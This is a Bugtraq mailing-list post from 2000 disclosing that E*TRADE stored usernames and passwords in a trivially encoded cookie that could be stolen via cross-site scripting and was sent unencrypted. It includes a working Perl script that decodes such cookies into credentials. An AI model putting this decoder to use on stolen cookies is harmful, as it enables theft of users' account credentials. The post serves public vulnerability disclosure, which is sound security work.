Bugtraq mailing list archives

Re: User Alert: E*TRADE Usernames and Passwords Remotely Recoverable


From: Marc Slemko <marcs () ZNEP COM>
Date: Sun, 24 Sep 2000 23:32:37 -0700

On Fri, 22 Sep 2000, Jeffrey W. Baker wrote:

*Introduction

This is a User Alert.  This document is intended to alert users to the
vulnerabilities they face when using insecure computer software.  This
User Alert will show who is at risk, what the risks are, and how the user
can protect himself.  Unlike a Security Advisory, this document will not
describe the actual flaws in the software, nor will it describe an
exploit.  However, it will include proof that the exploit exists.

My hope is that this style of Alert will allow users to protect
themselves, without unnecessarily spreading information about specific
exploits.  If software companies were willing to alert their users to
security risks, this type of Alert would not be needed.

For better or worse, I have no compunctions about making exploits
for poorly designed applications public after a company has refused
to take action despite knowing about the risks, plus I felt like
doing some quick and dirty coding tonight.  There is no way they
(whoever "they" are; this may well be code developed by some outside
company) should have written the code this way to begin with, and
there is no way it should have been missed in the security audits
that etrade hopefully did.

It took me ~2 minutes after reading the first couple of lines of
this advisory to figure out what the issue is and verify it by
observing a few cookie values.  It then took half an hour to work
out the algorithm used and write up the script to decode it.  A
little perl script that will decode etrade's etmember cookies into
a username and password is included at the end of this message.

To summarize the issue: when you choose to save your login info,
etrade sets a cookie on your system that consists of your username
and password, trivially encoded.  Anyone can easily steal that
cookie via the well known "cross site scripting" attack.  cf.
http://www.apache.org/info/css-security/ and
http://www.cert.org/advisories/CA-2000-02.html for details on what
"cross site scripting" is.

This issue has been widely publicized, but developers still don't
get it.  The bottom line to remember is that any cookies you set
can almost certainly be stolen from your users in some way, so you
need to very carefully define what can be done with those stolen
cookies.

But it is worse than this in this case; even before the cross site
scripting issue made it clear how much this sort of stuff matters,
it was still a bad practice to allow someone who steals a long-lived
cookie full access to sensitive information.  E*TRADE did the
"obvious" end of this properly by requiring a password in addition
to a cookie, but screwed up big time by then sticking that password
in a trivially encoded fashion into the cookie.  I mean, good grief;
this cookie is sent to the site without using SSL even!  So if you are an
etrade user, then it is almost certain that your username and password
are going across the wire unencrypted.  It is... quite difficult for users
to try working around this problem.  etrade just needs to get with it.

And yes, sadly enough, etrade is not alone among online brokerages in
having shockingly lax security policies.  TD Waterhouse isn't much better,
although their problems mostly stem from being unable to install standard
vendor security patches.  I know it is bad when I am scared to look for
issues of this type at sites I use since I just know I will find them.

Although I am normally quite repulsed by the "lets sue everyone for
everything" mentality, I have to wonder if a few lawsuits wouldn't help
make companies pay attention here...

#!/usr/local/bin/perl -w
#
# $Id: etradedecode.pl,v 1.3 2000/09/25 06:07:45 marcs Exp marcs $
#
# pass the value of an etrade etmember cookie in on stdin, and it will
# spit out the decoded username/password.
#
# eg.
#   $ echo MBMBMBMBMBMBMBMBMBMBIIIIIJJOOJOLONO@OB | ./etradedecode.pl
#   username/password: zzzzzzzzzz112/RTVXZ
#
# This isn't good code and doesn't generalize how the encoding/decoding is
# done enough, but it still works, possibly with the exception of certain
# punctuation.
#
# Marc Slemko <marcs () znep com> 00/09/24
#
# Based on the hint that "etrade sucks" given by
# Jeffrey W. Baker <jwbaker () ACM ORG> on bugtraq.
#
#
use strict;
$::LOWER_CASE = 32;
$::SHIFT = 16;
$::debug = 0;

sub etshift {
    my ($char, $offset) = @_;
    my $trans;
    if (ord($char) < ord('H')) {
        $trans = chr(ord($char)+$offset+$::SHIFT);
    } else {
        $trans = chr(ord($char)+$offset);
    }
    return $trans;
}

while (<>) {
    s/\s//g;
    my $line = $_;
    my $output = "";
    for (my $i = 1; $i < length($line); $i += 2) {
        my $prefix = substr($line, $i-1, 1);
        my $char = substr($line, $i, 1);
        my $trans;
        if ($prefix eq 'H') {
            $trans = etshift($char, -40);
        } elsif ($prefix eq 'L') { # lower case
            $trans = etshift($char, -8+$::LOWER_CASE);
        } elsif ($prefix eq 'M') { # lower case
            $trans = etshift($char, +8+$::LOWER_CASE);
        } elsif ($prefix eq 'N') { # upper case
            $trans = etshift($char, -8);
        } elsif ($prefix eq 'O') { # upper case
            $trans = etshift($char, +8);
        } elsif ($prefix eq 'I') {
            $trans = etshift($char, -24);
        } elsif ($prefix eq 'J') {
            $trans = etshift($char, -32);
        } else {
            die("don't know $prefix$char");
        }

        $::debug &&
            printf "%d:%s/%s:%d:%s\n", $i, $prefix, $char, ord($char), $trans;
        $output .=  $trans;
    }
    print "username/password: $output\n";
}


Current thread: